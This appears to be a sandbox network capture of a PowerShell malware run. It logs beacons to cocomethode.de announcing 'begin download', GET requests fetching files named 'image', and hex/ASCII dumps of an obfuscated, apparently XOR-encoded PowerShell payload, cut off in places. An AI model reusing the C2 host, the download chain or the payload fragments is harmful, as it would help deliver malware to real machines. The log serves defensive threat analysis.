2024-12-11 11:44:04 UTC	1278	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:04 GMT Content-Type: application/octet-stream Content-Length: 2870 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wbWYiMd%2FS2bRM4tOLsIyI2D3%2B3CzkPpF4e7TL7FBbQKpHSuppVkoYAfbnlV1C4vr60PjM%2BJ16Og6kYtCuj%2FodKp891FqgKQ3DpYUQvrlKxXeq3H2XKwmxEfy9oqKAOsoeQcobewEdrU7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&min_rtt=1064&rtt_var=135&sent=13&recv=11&lost=0&retrans=0&sent_bytes=14382&recv_bytes=2178&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538754e89138d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=47&rtt_var=23&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=650&delivery_rate=0&cwnd=59&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=633&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:04 UTC	416	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 36 26 6d 69 6e 5f 72 74 74 3d 35 36 26 72 74 74 5f 76 61 72 3d 32 38 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 34 36 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 31 31 26 6d 69 6e 5f 72 74 74 3d 31 31 33 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=46&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113811&min_rtt=113
2024-12-11 11:44:04 UTC	1044	IN	Data Raw: 25 65 6c 6c 71 75 63 76 64 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 55 57 53 60 60 44 38 49 55 55 47 60 53 31 34 75 55 57 53 53 64 54 30 44 50 6c 30 51 53 47 44 7b 55 57 53 4b 4f 57 71 44 53 6c 71 4e 57 46 4f 37 55 6b 4b 60 60 47 6d 70 5b 7b 53 5b 57 30 5b 73 55 57 65 57 4c 54 30 70 54 55 57 4e 53 46 53 70 55 6b 4b 53 4c 30 71 49 53 59 65 5b 57 47 44 30 56 56 71 6b 4f 57 71 59 52 6c 69 51 57 47 5b 70 55 31 53 73 4c 31 34 49 57 6c 71 4f 53 46 72 78 55 6d 65 47 4c 6a 30 37 5b 7b 53 60 53 47 44 78 55 6f 71 42 60 47 71 44 55 55 53 4f 53 47 5b 75 55 30 65 47 4c 47 71 49 52 Data Ascii: %ellqucvd<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#UWS``D8IUUG`S14uUWSSdT0DPl0QSGD{UWSKOWqDSlqNWFO7UkK``Gmp[{S[W0[sUWeWLT0pTUWNSFSpUkKSL0qISYe[WGD0VVqkOWqYRliQWG[pU1SsL14IWlqOSFrxUmeGLj07[{S`SGDxUoqB`GqDUUSOSG[uU0eGLGqIR
2024-12-11 11:44:04 UTC	1369	IN	Data Raw: 4f 73 58 55 4b 56 4f 57 69 55 50 55 6d 4b 50 30 48 78 56 57 65 35 4c 57 71 54 62 31 34 45 60 54 47 6f 52 54 4f 43 60 33 53 58 52 6f 43 4b 53 45 43 6f 52 56 30 6e 4c 46 53 48 50 6f 71 51 60 55 69 33 56 55 48 34 60 6c 48 78 4c 56 79 6a 53 33 69 33 56 6a 65 57 65 57 71 49 57 59 5b 4e 60 6a 44 30 56 57 65 46 63 57 6a 78 53 6c 69 4f 57 46 53 6e 56 57 65 57 4c 47 71 49 55 55 47 4f 57 31 34 72 55 6a 53 72 60 44 30 75 57 55 53 4e 53 47 6d 35 55 56 30 47 4c 31 34 44 55 55 4b 51 53 31 6a 79 55 6b 4b 60 60 6a 34 49 52 55 53 5b 63 57 5b 70 55 6a 53 57 65 30 71 70 56 6c 79 4e 57 31 34 75 56 6c 71 73 4c 54 38 54 56 6c 6d 5b 57 30 54 79 56 59 71 43 64 47 71 54 56 59 69 5b 57 47 6a 30 55 54 53 53 64 6d 71 59 55 55 4b 4e 53 31 57 34 55 30 53 5b 4c 54 34 75 57 59 71 51 57 Data Ascii: OsXUKVOWiUPUmKP0HxVWe5LWqTb14E`TGoRTOC`3SXRoCKSECoRV0nLFSHPoqQ`Ui3VUH4`lHxLVyjS3i3VjeWeWqIWY[N`jD0VWeFcWjxSliOWFSnVWeWLGqIUUGOW14rUjSr`D0uWUSNSGm5UV0GL14DUUKQS1jyUkK``j4IRUS[cW[pUjSWe0qpVlyNW14uVlqsLT8TVlm[W0TyVYqCdGqTVYi[WGj0UTSSdmqYUUKNS1W4U0S[LT4uWYqQW
2024-12-11 11:44:04 UTC	457	IN	Data Raw: 32 4c 44 75 45 54 56 75 73 56 55 48 34 4c 56 4b 74 54 56 65 4c 57 45 43 6f 55 57 53 7b 55 6a 4f 6f 60 31 71 57 4c 30 4b 6e 58 33 34 53 65 47 54 78 64 46 79 60 56 44 47 6f 55 47 69 4f 5b 31 30 54 57 55 65 44 54 56 38 4a 5b 6d 44 76 52 33 5b 53 4c 44 75 44 54 56 38 4e 50 33 62 38 51 50 3c 3c 23 28 28 3a 0b 25 6c 76 63 71 79 75 70 66 77 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 69 56 64 56 47 55 50 55 6d 4b 50 31 71 77 5b 44 69 52 65 33 4f 37 63 32 5b 4c 4c 6a 34 33 56 55 48 34 65 47 71 58 54 6c 38 68 4c 6d 4b 72 55 46 30 52 63 44 76 78 56 6f 43 68 53 30 57 34 55 49 Data Ascii: 2LDuETVusVUH4LVKtTVeLWECoUWS{UjOo`1qWL0KnX34SeGTxdFy`VDGoUGiO[10TWUeDTV8J[mDvR3[SLDuDTV8NP3b8QP<<#((:%lvcqyupfw<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RjiVdVGUPUmKP1qw[DiRe3O7c2[LLj43VUH4eGqXTl8hLmKrUF0RcDvxVoChS0W4UI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49741	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:04 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:44:04 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 31 62 63 61 34 63 37 33 34 62 34 31 37 33 31 38 36 63 65 64 38 33 31 34 31 36 38 34 64 36 39 33 31 63 31 62 33 33 39 63 63 31 36 61 38 63 35 64 63 66 31 34 32 30 30 66 38 34 37 31 32 39 64 31 63 35 37 33 37 66 61 62 38 38 61 65 64 31 65 35 32 34 39 34 37 63 37 64 37 64 61 30 61 34 39 62 37 39 65 62 61 39 35 63 38 39 37 34 65 63 30 39 36 35 61 36 33 38 38 64 34 36 37 30 61 64 33 38 30 35 66 39 61 34 64 62 30 64 65 65 64 64 66 66 36 65 62 39 32 36 65 64 31 66 65 61 33 66 66 35 62 35 62 63 33 65 62 39 66 39 61 66 36 63 62 64 39 64 31 39 65 30 39 39 32 31 34 63 61 32 63 36 39 35 64 32 65 62 63 32 65 Data Ascii: [ "\"begin download https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2e
2024-12-11 11:44:05 UTC	1357	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:04 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Np59%2BnN30GeJQE6Sd4YPBBEOiFk6qw0Stg35diVmt7IvQFwymlp2dXD3Nvbnh0DqrshKmuNTmjLUFypbjcF%2BR49khIJkcZF4qaIAxbMCHQHH7m77B9d274IQuNt5eNRTN6QpYn%2FtpYHK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1092&min_rtt=1064&rtt_var=83&sent=18&recv=15&lost=0&retrans=0&sent_bytes=18121&recv_bytes=3296&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05387cfa89b0b7-ATL server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=46&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=863&delivery_rate=0&cwnd=124&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=848&delivery_rate=0&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:05 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 37 34 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 33 35 26 72 74 74 5f 76 61 72 3d 32 34 30 35 33 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 34 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 34 31 26 63 77 6e 64 3d 32 33 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 35 62 32 37 35 35 37 39 39 65 63 32 31 30 36 36 26 74 73 3d 36 33 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113774&min_rtt=113735&rtt_var=24053&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1248&delivery_rate=33641&cwnd=237&unsent_bytes=0&cid=5b2755799ec21066&ts=636&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49742	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:05 UTC	365	OUT	GET /file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:06 UTC	1317	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:06 GMT Content-Type: application/octet-stream Content-Length: 2872 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kMnLdjhhkxeHWDVn3lBHmGA7TIMQ4OMyG27lAeORNXD7O9kCUPjAzDZES3K%2BS0dvkGuq6QDezezHsbu44LbV9pwgbyVpD%2F%2BPXwekiuQwVK9fIx4e%2FGDRKcA0NMQmm0njZfetWtBtsZB1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13688&min_rtt=1185&rtt_var=20209&sent=24470&recv=11158&lost=0&retrans=0&sent_bytes=35052965&recv_bytes=129129&delivery_rate=47390163&cwnd=270&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538828a7e12ef-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=148&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113940&min_rtt=113865&rtt_var=24141&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1003&delivery_rate=33559&cwnd=252&unsent_bytes=0&cid=ab82419c0415d05c&ts=843&x=0"
2024-12-11 11:44:06 UTC	52	IN	Data Raw: 25 79 72 7b 77 74 69 72 70 69 6c 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 Data Ascii: %yr{wtirpil<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)
2024-12-11 11:44:06 UTC	1369	IN	Data Raw: 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 55 45 4b 60 62 46 4b 49 57 59 6d 4c 64 6d 57 37 56 56 71 6f 64 44 35 78 55 55 4b 5b 60 6d 47 32 55 55 4b 60 60 30 71 54 60 32 69 4f 57 31 57 35 55 59 71 4f 4c 54 38 59 53 6c 75 51 53 47 57 34 56 57 53 6f 65 31 38 59 52 55 4f 4f 63 54 30 37 56 57 53 5b 64 47 6d 37 63 46 75 4f 64 6a 30 32 55 59 71 42 60 57 71 70 50 6c 79 4e 53 44 57 37 55 54 53 6b 65 31 38 49 54 6c 6d 60 57 44 34 72 56 6d 53 46 63 57 6a 78 54 55 53 4e 57 44 44 31 55 56 30 53 64 44 34 59 57 6c 69 4e 4c 6a 30 32 55 56 71 6a 60 54 34 44 58 7b 43 51 57 31 5b 72 56 57 53 6f 4f 44 34 70 5b 46 79 4f 4c 6d 57 34 55 6a 53 6a 60 57 71 44 56 55 43 51 53 30 47 34 55 6d 53 42 60 44 30 44 60 32 69 Data Ascii: ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#UEK`bFKIWYmLdmW7VVqodD5xUUK[`mG2UUK``0qT`2iOW1W5UYqOLT8YSluQSGW4VWSoe18YRUOOcT07VWS[dGm7cFuOdj02UYqB`WqpPlyNSDW7UTSke18ITlm`WD4rVmSFcWjxTUSNWDD1UV0SdD4YWliNLj02UVqj`T4DX{CQW1[rVWSoOD4p[FyOLmW4UjSj`WqDVUCQS0G4UmSB`D0D`2i
2024-12-11 11:44:06 UTC	1369	IN	Data Raw: 31 6d 45 50 56 65 4b 50 31 47 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4a 53 31 71 33 56 6a 69 73 5b 30 43 55 50 56 75 68 53 7b 6d 74 57 47 65 56 64 6c 4c 78 53 6c 34 60 56 44 30 6f 5b 6a 4f 42 53 46 48 78 4f 55 4b 60 56 44 6e 76 57 6a 62 35 65 47 4f 74 55 6f 5b 68 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 47 63 49 57 6a 63 55 6d 78 56 6d 4c 79 56 47 71 59 52 6d 4f 60 56 44 58 79 56 6d 69 4e 4c 44 6d 45 4c 57 5b 6b 63 56 75 6f 52 6a 69 56 64 56 47 55 50 59 53 54 57 30 58 76 58 54 62 34 60 31 6d 46 50 6f 5b 6b 4c 30 47 6f 55 47 57 6e 63 47 6d 59 54 6c 79 6b 63 6a 30 6f 52 6a 65 6e 63 47 6d 59 54 6c 79 6b 63 6a 30 6f 55 47 57 4a 65 6d 71 48 60 33 65 4a 53 31 71 33 56 6a 69 73 Data Ascii: 1mEPVeKP1Go[YbvR1mEPVeKP1GoRTOC[1mEPVeJS1q3Vjis[0CUPVuhS{mtWGeVdlLxSl4`VD0o[jOBSFHxOUK`VDnvWjb5eGOtUo[h`oONP3mC[1mEPVeKP1GoRTOC[1mGcIWjcUmxVmLyVGqYRmO`VDXyVmiNLDmELW[kcVuoRjiVdVGUPYSTW0XvXTb4`1mFPo[kL0GoUGWncGmYTlykcj0oRjencGmYTlykcj0oUGWJemqH`3eJS1q3Vjis
2024-12-11 11:44:06 UTC	82	IN	Data Raw: 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 6d 60 69 62 64 6d 65 6d 21 2a 21 25 79 72 7b 77 74 69 72 70 69 6c 28 28 28 28 3a 0b Data Ascii: ;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%m`ibdmem!*!%yr{wtirpil((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49743	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:06 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:44:06 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 35 33 62 38 31 37 63 36 62 34 30 33 66 64 65 39 31 31 61 31 33 33 35 39 61 64 38 35 32 61 38 30 39 62 37 32 63 33 61 36 31 63 39 64 33 33 30 33 30 62 66 30 65 34 31 33 30 37 30 38 64 62 65 33 65 65 31 66 63 64 38 35 30 38 32 64 31 35 65 61 37 63 30 32 37 62 34 37 34 39 61 65 61 38 38 36 37 65 33 65 32 34 37 62 64 36 34 38 64 32 35 30 61 30 39 31 35 33 66 35 61 39 30 35 31 66 37 66 63 65 63 37 66 66 32 61 64 36 30 38 38 62 65 39 39 38 64 38 33 37 37 33 33 62 61 62 62 31 64 38 31 64 30 62 66 37 31 32 63 38 38 38 31 65 36 66 63 35 33 64 64 30 36 36 33 62 64 64 39 37 62 34 62 61 32 37 62 62 30 32 61 Data Ascii: [ "\"begin download https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02a
2024-12-11 11:44:07 UTC	1209	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:06 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hDQdfopj5VC74Rvsyg0bNHuy7aBeweBQPiAhUcf2jwFBvye2IZSjnpwJKU%2BAh6dVXWww6f8B148cKMj%2BowGxKmJo6ZXaWvg6EJhDLDYLOfxX1w3t7qkH6YndKPw6b7XSzMIC5F0rSDWq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15619&min_rtt=1185&rtt_var=21986&sent=24478&recv=11165&lost=0&retrans=0&sent_bytes=35057501&recv_bytes=131405&delivery_rate=47390163&cwnd=270&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538897b51bfd4-ATL server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=40&rtt_var=15&sent=5&recv=7&lost=0&retrans=0&sent_bytes=7377&recv_bytes=1239&delivery_rate=1336387755&cwnd=93&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113816&min_rtt=113724&rtt_var=24099&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1248&delivery_rate=33598&cwnd=252&unsent_bytes=0&cid=77b05cf968c3bece&ts=584&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49744	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:07 UTC	365	OUT	GET /file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:08 UTC	1297	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:08 GMT Content-Type: application/octet-stream Content-Length: 21738 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vjf14NOF3Y1qWbzkNWaaTTFjdGzaI%2FCr0EzL82lTtg%2BC1sm4bBujO512Sae5fAdsaPQxxZpLV2aBQ%2FW3BfkoS40IKvPq67Fo7vnv3PBFqqgp7zUuSa6tObM%2B5VytHaMX9Ax%2FE9b5PKUu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21014&min_rtt=1185&rtt_var=27280&sent=24480&recv=11167&lost=0&retrans=0&sent_bytes=35058279&recv_bytes=132423&delivery_rate=47390163&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05388eaa377bd5-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=625&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:08 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 34 39 26 6d 69 6e 5f 72 74 74 3d 31 31 33 36 37 39 26 72 74 74 5f 76 61 72 3d 32 34 30 39 36 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 31 37 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 31 34 65 33 33 33 65 63 64 37 34 39 31 34 62 62 26 74 73 3d 38 35 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113749&min_rtt=113679&rtt_var=24096&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33617&cwnd=252&unsent_bytes=0&cid=14e333ecd74914bb&ts=855&x=0"
2024-12-11 11:44:08 UTC	1221	IN	Data Raw: 25 6d 74 79 75 76 77 62 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 5b 31 6d 71 4c 49 53 4c 54 7b 43 31 55 47 4c 76 65 44 79 55 4c 46 6d 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 48 76 58 33 34 73 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 6a 65 4a 65 6d 71 48 60 33 65 50 54 31 47 73 56 6b 4b 35 65 6d 6d 75 53 6f 4f 51 63 46 69 44 54 31 5b 60 55 6d 53 46 63 47 6d 52 60 33 75 6f 5b 6a 4f 42 53 46 48 78 4f 55 4b 60 56 44 6e 76 57 6a 62 35 65 47 4f 74 55 6f 5b 68 60 6f Data Ascii: %mtyuvwb<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#[1mqLISLT{C1UGLveDyULFmQe{CMRTOC[1mEPVeKP1HvX34sUjOqPVeKP1GoRTOC[3W2LDuKP1GoRTOC[1mEPVeKP1GoRjeJemqH`3ePT1GsVkK5emmuSoOQcFiDT1[`UmSFcGmR`3uo[jOBSFHxOUK`VDnvWjb5eGOtUo[h`o
